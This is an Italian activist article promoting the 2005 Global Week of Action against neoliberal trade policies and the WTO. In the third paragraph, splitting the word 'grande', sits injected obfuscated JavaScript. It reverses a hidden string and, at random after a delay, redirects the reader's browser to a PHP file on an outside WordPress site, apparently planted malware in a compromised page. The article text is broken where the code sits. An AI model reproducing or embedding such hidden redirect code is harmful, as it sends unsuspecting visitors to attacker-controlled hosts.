Liberiamo i nostri diritti

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Un’intera settimana di mobilitazione sui temi del commercio internazionale, con migliaia di iniziative di denuncia delle attuali politiche commerciali dei paesi del Nord del Mondo, ma anche di proposta di alternative concrete. È la settimana che va dal 10 al 16 aprile e coinvolgerà in tutto il mondo centinaia di persone attivarsi in favore del diritto dei popoli al cibo, ad una vita degna, all’acqua, alla salute, all’educazione, e contro l’imposizione ai più poveri di accordi commerciali ingiusti, di liberalizzazioni e privatizzazioni indiscriminate.
Si tratta della Global Week of Action – GWA – che è stata indetta nel novembre del 2003 dalla Conferenza Internazionale delle Campagne sul Commercio, un organismo che mette insieme oltre 100 realtà provenienti da 50 paesi diversi impegnate per i diritti dei popoli. Nel gennaio del 2004 è stata inoltre adottata e promossa dal World Social Forum di Mumbay, in India.
Chi segueil tema del commercio internazionale ricorderà sicuramente l’ultimo gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande evento mondiale risalente al settembre del 2003: il WTO di Cancùn. In quell’occasione i Paesi del Sud del mondo, alleati con gli attivisti dei movimenti, imposero un secco stop alle mire liberiste di USA e Unione Europea. Oggi – a nove mesi dalla prossima ministeriale dell’Organizzazione Mondiale del Commercio, che si terrà a Hong Kong dal 13 al 18 dicembre – le organizzazioni non governative, le associazioni e i gruppi della società civile internazionale cercano con la GWA di riportare l’attenzione su temi di fondamentale importanza per i diritti di centinaia di milioni di esseri umani in tutto il mondo, Nord incluso, che vedono legati i destini delle loro vite alle dinamiche del commercio internazionale.
La Global Week of Action ha come obiettivo fondamentale la contestazione del mito del libero commercio, panacea di tutti i mali e soluzione per la povertà mondiale. Un mito creato dai governi, dalle aziende transnazionali e dai poteri forti mondiali che obbliga i Paesi poveri ad aprire i mercati interni alle imprese straniere; alle importazioni a prezzi stracciati (spesso sovvenzionate dalle nostre tasse); a non aiutare più i produttori più deboli; a privatizzare i servizi essenziali come educazione, sanità, trasporti.
I risultati sono disastrosi. Il mito del neoliberismo va smascherato una volta per tutte. La GWA può dare un contributo importante perché ha il merito di proporre altre soluzioni, rispettose della dignità della persona e della natura. In primo luogo è necessario un cambiamento radicale di direzione: i paesi più poveri devono poter scegliere autonomamente le politiche economiche e commerciali che ritengono più funzionali ad abbattere la povertà.
Da parte nostra, nell’indifferente Europa, possiamo mostrare l’ampiezza del movimento mondiale nel sostenere i Paesi del Sud. Rendere evidente la nostra solidarietà, la dimensione internazionale e il peso della resistenza e dell’opposizione dei popoli all’agenda neoliberista imposta dai più forti, può divenire una grande opportunità per sovvertire quello che sembra essere ineluttabile, ovvero la vittoria del neoliberismo contro il sogno di un mondo migliore, capace di mettere al centro il valore degli uomini e delle donne che abitano il pianeta al posto del profitto delle imprese.
Se la mobilitazione della GWA riuscirà, i governi del Nord e del Sud, l’Organizzazione Mondiale del Commercio, il Fondo Monetario Internazionale, la Banca Mondiale, le imprese transnazionali, nel momento di effettuare le loro scelte sentiranno forte e chiara la pressione di milioni di persone, unite nella stessa battaglia per i diritti.
Oggi sono finanza, economia e mercato a determinare la politica. Come elettori, consumatori, utenti, ma soprattutto cittadini e persone, possiamo e dobbiamo rovesciare questa prospettiva.

Tutte le informazioni su www.gwa2005.org

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